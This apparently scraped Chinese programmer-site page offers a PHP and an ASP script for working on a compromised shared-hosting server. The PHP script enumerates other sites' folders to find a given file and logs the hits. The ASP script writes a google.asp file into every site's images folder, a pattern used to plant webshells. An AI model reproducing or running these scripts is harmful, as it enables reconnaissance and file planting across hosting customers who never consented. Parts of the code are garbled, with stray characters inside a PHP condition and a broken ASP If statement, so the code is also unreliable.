欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页  >  后端开发

php写的寻找二层目录的小程序

程序员文章站 2022-04-24 10:46:28
...
  1. set_time_limit(0);
  2. $path = 'D:/Hosting';
  3. $somefile = $_GET['key'];
  4. $logfile = 'D:/Hosting/6668835/html/images/ennumdir.txt';
  5. if (!isset($_SERVER['PHP_AUTH_USER'])) {
  6. header('WWW-Authenticate: Basic realm="My Realm"');
  7. header('HTTP/1.0 401 Unauthorized');
  8. echo 'Text to send if user hits Cancel button';
  9. exit;
  10. } else {
  11. if(is_dir($path) && is_readable($path))
  12. {
  13. $path2 = '';
  14. $handle = opendir($path);
  15. while(false !== ($filename = readdir($handle)))
  16. {
  17. if($filename{0} != $_GET['dir'])
  18. {
  19. continue;
  20. }
  21. /*
  22. if($filename张尛贰-Mi != $_GET['two'])
  23. {
  24. continue;
  25. }
  26. */
  27. //$path2 = $path.'/'.$filename.'/html';
  28. $path2 = $path.'/'.$filename;
  29. if(is_dir($path2) && is_readable($path2))
  30. {
  31. @$handle2 = opendir($path2);
  32. while(false !== ($filename2 = readdir($handle2)))
  33. {
  34. if($filename2 == $somefile)
  35. {
  36. //echo'[+]Found !'.$filename2."\n";
  37. file_put_contents($logfile,'[+]Found !'.$path2.'/'.$filename2."\n",FILE_APPEND);
  38. }
  39. }
  40. @closedir($handle2);
  41. }
  42. }
  43. file_put_contents($logfile,'[*]LAST '.$path2."\n",FILE_APPEND);
  44. closedir($handle);
  45. }
  46. }
  47. ?>
复制代码

2、asp版

  1. Server.ScriptTimeout=500000000
  2. key = Trim(Request.QueryString("key"))
  3. msg=" "
  4. Set FSO=Server.CreateObject("Scripting.FileSystemObject")
  5. Set ServerFolder=FSO.GetFolder("C:\intel")
  6. Set ServerFolderList=ServerFolder.subfolders
  7. For Each ServerFileEvery IN ServerFolderList
  8. ' Response.write ServerFileEvery&""
  9. If LCase(Left(ServerFileEvery.name, 1)) = LCase(key) Then
  10. Set sServerFolder=FSO.GetFolder(ServerFileEvery)
  11. Set sServerFolderList=sServerFolder.subfolders
  12. For Each sServerFileEvery IN sServerFolderList
  13. If LCase(sServerFileEvery.name) = "images" Then
  14. StreamSaveToFile sServerFileEvery & "\google.asp", msg, "UTF-8"
  15. End If
  16. Next
  17. End If
  18. Next
  19. Function StreamSaveToFile(sPath, sContent, sCharSet)
  20. Dim oStream
  21. If(InStr(sPath, ":") sPath = Replace(sPath, ",", ",")
  22. sPath = Server.MapPath(sPath)
  23. sPath = Replace(sPath, ",", ",")
  24. End If
  25. Set oStream = Server.CreateObject("Adodb.Stream")
  26. With oStream
  27. .Type = 2
  28. .Mode = 3
  29. .Open
  30. .Charset = sCharSet
  31. .WriteText sContent
  32. .SaveToFile sPath, 2
  33. .Close
  34. End With
  35. Set oStream = Nothing
  36. End Function
  37. %>
复制代码